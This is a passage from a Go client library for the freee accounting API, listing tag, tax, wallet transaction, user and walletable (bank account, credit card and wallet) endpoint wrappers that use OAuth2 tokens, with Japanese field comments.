51 | Limit int64 `url:"limit,omitempty"`
52 | }
53 |
54 | func (c *Client) GetTags(
55 | ctx context.Context, oauth2Token *oauth2.Token,
56 | companyID int64, opts GetTagsOpts,
57 | ) (*Tags, *oauth2.Token, error) {
58 | var result Tags
59 |
60 | v, err := query.Values(opts)
61 | if err != nil {
62 | return nil, oauth2Token, err
63 | }
64 | SetCompanyID(&v, companyID)
65 | oauth2Token, err = c.call(ctx, APIPathTags, http.MethodGet, oauth2Token, v, nil, &result)
66 | if err != nil {
67 | return nil, oauth2Token, err
68 | }
69 |
70 | return &result, oauth2Token, nil
71 | }
72 |
73 | func (c *Client) CreateTag(
74 | ctx context.Context, oauth2Token *oauth2.Token,
75 | params TagParams,
76 | ) (*Tag, *oauth2.Token, error) {
77 | var result TagResponse
78 | oauth2Token, err := c.call(ctx, APIPathTags, http.MethodPost, oauth2Token, nil, params, &result)
79 | if err != nil {
80 | return nil, oauth2Token, err
81 | }
82 | return &result.Tag, oauth2Token, nil
83 | }
84 |
85 | func (c *Client) GetTag(
86 | ctx context.Context, oauth2Token *oauth2.Token,
87 | companyID int64, tagID int64, opts GetTagsOpts,
88 | ) (*Tags, *oauth2.Token, error) {
89 | var result Tags
90 |
91 | v, err := query.Values(opts)
92 | if err != nil {
93 | return nil, oauth2Token, err
94 | }
95 | SetCompanyID(&v, companyID)
96 | oauth2Token, err = c.call(ctx, path.Join(APIPathTags, fmt.Sprint(tagID)), http.MethodGet, oauth2Token, v, nil, &result)
97 | if err != nil {
98 | return nil, oauth2Token, err
99 | }
100 |
101 | return &result, oauth2Token, nil
102 | }
103 |
104 | func (c *Client) UpdateTag(
105 | ctx context.Context, oauth2Token *oauth2.Token,
106 | tagID int64, params TagParams,
107 | ) (*Tag, *oauth2.Token, error) {
108 | var result TagResponse
109 | oauth2Token, err := c.call(ctx, path.Join(APIPathTags, fmt.Sprint(tagID)), http.MethodPut, oauth2Token, nil, params, &result)
110 | if err != nil {
111 | return nil, oauth2Token, err
112 | }
113 | return &result.Tag, oauth2Token, nil
114 | }
115 |
116 | func (c *Client) DestroyTag(
117 | ctx context.Context, oauth2Token *oauth2.Token,
118 | companyID int64, tagID int64,
119 | ) (*oauth2.Token, error) {
120 | v, err := query.Values(nil)
121 | if err != nil {
122 | return oauth2Token, err
123 | }
124 | SetCompanyID(&v, companyID)
125 | oauth2Token, err = c.call(ctx, path.Join(APIPathTags, fmt.Sprint(tagID)), http.MethodDelete, oauth2Token, v, nil, nil)
126 | if err != nil {
127 | return oauth2Token, err
128 | }
129 |
130 | return oauth2Token, nil
131 | }
132 |
--------------------------------------------------------------------------------
/taxes.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathTaxes = "taxes"
15 |
16 | // tax_5: 5%表示の税区分
17 | TaxRate5 = "tax_5"
18 | // tax_8: 8%表示の税区分
19 | TaxRate8 = "tax_8"
20 | // tax_r8: 軽減税率8%表示の税区分
21 | TaxRateR8 = "tax_r8"
22 | // tax_10: 10%表示の税区分
23 | TaxRate10 = "tax_10"
24 | // null: 税率未設定税区分
25 | )
26 |
27 | type TaxCompanies struct {
28 | TaxCompanies []TaxCompany `json:"taxes"`
29 | }
30 |
31 | type TaxCompany struct {
32 | // 税区分コード
33 | Code int64 `json:"code"`
34 | // 税区分名
35 | Name string `json:"name"`
36 | // 税区分名(日本語表示用)
37 | NameJa string `json:"name_ja"`
38 | // 税区分の表示カテゴリ(tax_5: 5%表示の税区分、tax_8: 8%表示の税区分、tax_r8: 軽減税率8%表示の税区分、tax_10: 10%表示の税区分、null: 税率未設定税区分)
39 | DisplayCategory *string `json:"display_category"`
40 | // true: 使用する、false: 使用しない
41 | Available bool `json:"available"`
42 | }
43 |
44 | func (c *Client) GetTaxCompanies(
45 | ctx context.Context, oauth2Token *oauth2.Token,
46 | companyID int64,
47 | ) (*TaxCompanies, *oauth2.Token, error) {
48 | var result TaxCompanies
49 |
50 | v, err := query.Values(nil)
51 | if err != nil {
52 | return nil, oauth2Token, err
53 | }
54 | SetCompanyID(&v, companyID)
55 | oauth2Token, err = c.call(ctx, path.Join(APIPathTaxes, "companies", fmt.Sprint(companyID)), http.MethodGet, oauth2Token, v, nil, &result)
56 | if err != nil {
57 | return nil, oauth2Token, err
58 | }
59 | return &result, oauth2Token, nil
60 | }
61 |
--------------------------------------------------------------------------------
/transactions.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathTxns = "wallet_txns"
15 |
16 | TxnsTypeIncome = "income"
17 | TxnsTypeExpense = "expense"
18 | )
19 |
20 | type WalletTxnsResponse struct {
21 | WalletTxns []WalletTxn `json:"wallet_txns"`
22 | }
23 |
24 | type WalletTxnResponse struct {
25 | WalletTxn WalletTxn `json:"wallet_txn"`
26 | }
27 |
28 | type WalletTxn struct {
29 | // 明細ID
30 | ID int64 `json:"id"`
31 | // 事業所ID
32 | CompanyID int64 `json:"company_id"`
33 | // 取引日(yyyy-mm-dd)
34 | Date string `json:"date"`
35 | // 取引金額
36 | Amount int64 `json:"amount"`
37 | // 未決済金額
38 | DueAmount int64 `json:"due_amount"`
39 | // 残高(銀行口座等)
40 | Balance int64 `json:"balance"`
41 | // 入金/出金 (入金: income, 出金: expense)
42 | EntrySide string `json:"entry_side"`
43 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, 現金: wallet)
44 | WalletableType string `json:"walletable_type"`
45 | // 口座ID
46 | WalletableID int64 `json:"walletable_id"`
47 | // 取引内容
48 | Description string `json:"description"`
49 | // 明細のステータス(消込待ち: 1, 消込済み: 2, 無視: 3, 消込中: 4, 対象外: 6)
50 | Status int `json:"status"`
51 | // 登録時に自動登録ルールの設定が適用され、登録処理が実行された場合、 trueになります。〜を推測する、〜の消込をするの条件の場合は一致してもfalseになります。
52 | RuleMatched bool `json:"rule_matched"`
53 | }
54 |
55 | type GetWalletTxnOpts struct {
56 | // walletable_type、walletable_idは同時に指定が必要です。
57 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, 現金: wallet)
58 | WalletableType string `url:"walletable_type,omitempty"`
59 | // 口座ID
60 | WalletableID int64 `url:"walletable_id,omitempty"`
61 | // 取引日で絞込:開始日 (yyyy-mm-dd)
62 | StartDate string `url:"start_date,omitempty"`
63 | // 取引日で絞込:終了日 (yyyy-mm-dd)
64 | EndDate string `url:"end_date,omitempty"`
65 | // 入金/出金 (入金: income, 出金: expense)
66 | EntrySide string `url:"entry_side,omitempty"`
67 | // 取得レコードのオフセット (デフォルト: 0)
68 | Offset int64 `url:"offset,omitempty"`
69 | // 取得レコードの件数 (デフォルト: 20, 最小: 1, 最大: 100)
70 | Limit int64 `url:"limit,omitempty"`
71 | }
72 |
73 | type WalletTxnCreateParams struct {
74 | // 入金/出金 (入金: income, 出金: expense)
75 | EntrySide string `json:"entry_side"`
76 | // 取引内容
77 | Description *string `json:"description,omitempty"`
78 | // 取引金額
79 | Amount int64 `json:"amount"`
80 | // 口座ID
81 | WalletableID int64 `json:"walletable_id"`
82 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, 現金: wallet)
83 | WalletableType string `json:"walletable_type"`
84 | // 取引日 (yyyy-mm-dd)
85 | Date string `json:"date"`
86 | // 事業所ID
87 | CompanyID int64 `json:"company_id"`
88 | // 残高 (銀行口座等)
89 | Balance *int64 `json:"balance,omitempty"`
90 | }
91 |
92 | func (c *Client) GetWalletTransactions(
93 | ctx context.Context, oauth2Token *oauth2.Token,
94 | companyID int64, opts GetWalletTxnOpts) (*WalletTxnsResponse, *oauth2.Token, error) {
95 | var result WalletTxnsResponse
96 |
97 | if (opts.WalletableType != "" && opts.WalletableID == 0) || (opts.WalletableID != 0 && opts.WalletableType == "") {
98 | return nil, oauth2Token, fmt.Errorf("either walletable_type or walletable_id is specified, then other value must be set")
99 | }
100 |
101 | v, err := query.Values(opts)
102 | if err != nil {
103 | return nil, oauth2Token, err
104 | }
105 |
106 | SetCompanyID(&v, companyID)
107 | oauth2Token, err = c.call(ctx, path.Join(APIPathTxns), http.MethodGet, oauth2Token, v, nil, &result)
108 | if err != nil {
109 | return nil, oauth2Token, err
110 | }
111 |
112 | return &result, oauth2Token, nil
113 | }
114 |
115 | func (c *Client) GetWalletTransaction(
116 | ctx context.Context, oauth2Token *oauth2.Token,
117 | companyID int64, txnID int64, opts GetWalletTxnOpts,
118 | ) (*WalletTxn, *oauth2.Token, error) {
119 | var result WalletTxnResponse
120 |
121 | if (opts.WalletableType != "" && opts.WalletableID == 0) || (opts.WalletableID != 0 && opts.WalletableType == "") {
122 | return nil, oauth2Token, fmt.Errorf("either walletable_type or walletable_id is specified, then other value must be set")
123 | }
124 |
125 | v, err := query.Values(opts)
126 | if err != nil {
127 | return nil, oauth2Token, err
128 | }
129 |
130 | SetCompanyID(&v, companyID)
131 | oauth2Token, err = c.call(ctx, path.Join(APIPathTxns, fmt.Sprint(txnID)), http.MethodGet, oauth2Token, v, nil, &result)
132 | if err != nil {
133 | return nil, oauth2Token, err
134 | }
135 |
136 | return &result.WalletTxn, oauth2Token, nil
137 | }
138 |
139 | func (c *Client) CreateWalletTransaction(
140 | ctx context.Context, oauth2Token *oauth2.Token,
141 | params WalletTxnCreateParams,
142 | ) (*WalletTxnResponse, *oauth2.Token, error) {
143 | var result WalletTxnResponse
144 | oauth2Token, err := c.call(ctx, path.Join(APIPathTxns), http.MethodPost, oauth2Token, nil, params, &result)
145 | if err != nil {
146 | return nil, oauth2Token, err
147 | }
148 | return &result, oauth2Token, nil
149 | }
150 |
--------------------------------------------------------------------------------
/users.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "net/http"
6 | "path"
7 |
8 | "github.com/google/go-querystring/query"
9 | "golang.org/x/oauth2"
10 | )
11 |
12 | const (
13 | APIPathUsers = "users"
14 | )
15 |
16 | type Me struct {
17 | User User `json:"user"`
18 | }
19 |
20 | type User struct {
21 | // ユーザーID
22 | ID int64 `json:"id"`
23 | // メールアドレス
24 | Email string `json:"email"`
25 | // 表示ユーザー名
26 | DisplayName *string `json:"display_name,omitempty"`
27 | // 名
28 | FirstName *string `json:"first_name,omitempty"`
29 | // 姓
30 | LastName *string `json:"last_name,omitempty"`
31 | // 名(カナ)
32 | FirstNameKana *string `json:"first_name_kana,omitempty"`
33 | // 姓(カナ)
34 | LastNameKana *string `json:"last_name_kana,omitempty"`
35 | Companies []UserCompany `json:"companies,omitempty"`
36 | }
37 |
38 | type UserCompany struct {
39 | // 事業所ID
40 | ID int64 `json:"id"`
41 | // 表示名
42 | DisplayName string `json:"display_name"`
43 | // ユーザーの権限
44 | Role string `json:"role"`
45 | // カスタム権限(true: 使用する、false: 使用しない)
46 | UseCustomRole bool `json:"use_custom_role"`
47 | }
48 |
49 | type GetUsersMeOpts struct {
50 | Companies bool `url:"companies,omitempty"`
51 | }
52 |
53 | func (c *Client) GetUsersMe(
54 | ctx context.Context, oauth2Token *oauth2.Token,
55 | opts GetUsersMeOpts,
56 | ) (*Me, *oauth2.Token, error) {
57 | var result Me
58 |
59 | v, err := query.Values(opts)
60 | if err != nil {
61 | return nil, oauth2Token, err
62 | }
63 | oauth2Token, err = c.call(ctx, path.Join(APIPathUsers, "me"), http.MethodGet, oauth2Token, v, nil, &result)
64 | if err != nil {
65 | return nil, oauth2Token, err
66 | }
67 | return &result, oauth2Token, nil
68 | }
69 |
--------------------------------------------------------------------------------
/util.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "fmt"
5 | "net/url"
6 | )
7 |
8 | func SetCompanyID(v *url.Values, companyID int64) {
9 | v.Set("company_id", fmt.Sprintf("%d", companyID))
10 | }
11 |
--------------------------------------------------------------------------------
/walletabales.go:
--------------------------------------------------------------------------------
1 | package freee
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net/http"
7 | "path"
8 |
9 | "github.com/google/go-querystring/query"
10 | "golang.org/x/oauth2"
11 | )
12 |
13 | const (
14 | APIPathWalletables = "walletables"
15 |
16 | // 口座種別
17 | WalletTypeBankAccount = "bank_account" // 銀行口座
18 | WalletTypeCreditCard = "credit_card" // クレジットカード
19 | WalletTypeWallet = "wallet" // その他の決済口座
20 | )
21 |
22 | type WalletablesResponse struct {
23 | Walletables []Walletable `json:"walletables"`
24 | Meta Meta `json:"meta"`
25 | }
26 |
27 | type WalletableResponse struct {
28 | Walletable Walletable `json:"walletable"`
29 | Meta Meta `json:"meta"`
30 | }
31 |
32 | type Meta struct {
33 | UpToDate bool `json:"up_to_date"`
34 | }
35 |
36 | type GetWalletablesOpts struct {
37 | // 残高情報を含める
38 | WithBalance bool `url:"with_balance,omitempty"`
39 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, その他の決済口座: wallet)
40 | Type string `url:"type,omitempty"`
41 | }
42 |
43 | type WalletableCreateParams struct {
44 | // 口座名 (255文字以内)
45 | Name string `json:"name"`
46 | // 口座種別(bank_account : 銀行口座, credit_card : クレジットカード, wallet : その他の決済口座)
47 | Type string `json:"type"`
48 | // 事業所ID
49 | CompanyId int64 `json:"company_id"`
50 | // 連携サービスID(typeにbank_account、credit_cardを指定する場合は必須)
51 | BankId *int64 `json:"bank_id,omitempty"`
52 | // 口座を資産口座とするか負債口座とするか(true: 資産口座 (デフォルト), false: 負債口座)
bank_idを指定しない場合にのみ使われます。
bank_idを指定する場合には資産口座か負債口座かはbank_idに指定したサービスに応じて決定され、is_assetに指定した値は無視されます。
53 | IsAsset *bool `json:"is_asset,omitempty"`
54 | }
55 |
56 | type Walletable struct {
57 | // 口座ID
58 | ID int64 `json:"id"`
59 | // 口座名 (255文字以内)
60 | Name string `json:"name"`
61 | // サービスID
62 | BankID int64 `json:"bank_id"`
63 | // 口座区分 (銀行口座: bank_account, クレジットカード: credit_card, 現金: wallet)
64 | Type string `json:"type"`
65 | // 同期残高
66 | LastBalance int64 `json:"last_balance,omitempty"`
67 | // 登録残高
68 | WalletableBalance int64 `json:"walletable_balance,omitempty"`
69 | }
70 |
71 | func (c *Client) GetWalletables(
72 | ctx context.Context, oauth2Token *oauth2.Token,
73 | companyID int64, opts GetWalletablesOpts,
74 | ) (*WalletablesResponse, *oauth2.Token, error) {
75 | var result WalletablesResponse
76 |
77 | v, err := query.Values(opts)
78 | if err != nil {
79 | return nil, oauth2Token, err
80 | }
81 |
82 | SetCompanyID(&v, companyID)
83 | oauth2Token, err = c.call(ctx, path.Join(APIPathWalletables), http.MethodGet, oauth2Token, v, nil, &result)
84 | if err != nil {
85 | return nil, oauth2Token, err
86 | }
87 |
88 | return &result, oauth2Token, nil
89 | }
90 |
91 | func (c *Client) GetWalletable(
92 | ctx context.Context, oauth2Token *oauth2.Token,
93 | companyID int64, walletType string, walletableID int64,
94 | ) (*Walletable, *oauth2.Token, error) {
95 | var result WalletableResponse
96 |
97 | v, err := query.Values(nil)
98 | if err != nil {
99 | return nil, oauth2Token, err
100 | }
101 |
102 | SetCompanyID(&v, companyID)
103 | oauth2Token, err = c.call(ctx, path.Join(APIPathWalletables, walletType, fmt.Sprint(walletableID)), http.MethodGet, oauth2Token, v, nil, &result)
104 | if err != nil {
105 | return nil, oauth2Token, err
106 | }
107 |
108 | return &result.Walletable, oauth2Token, nil
109 | }
110 |
111 | func (c *Client) CreateWalletable(
112 | ctx context.Context, oauth2Token *oauth2.Token,
113 | params WalletableCreateParams,
114 | ) (*Walletable, *oauth2.Token, error) {
115 | var result WalletableResponse
116 | oauth2Token, err := c.call(ctx, path.Join(APIPathWalletables), http.MethodPost, oauth2Token, nil, params, &result)
117 | if err != nil {
118 | return nil, oauth2Token, err
119 | }
120 | return &result.Walletable, oauth2Token, nil
121 | }
122 |
--------------------------------------------------------------------------------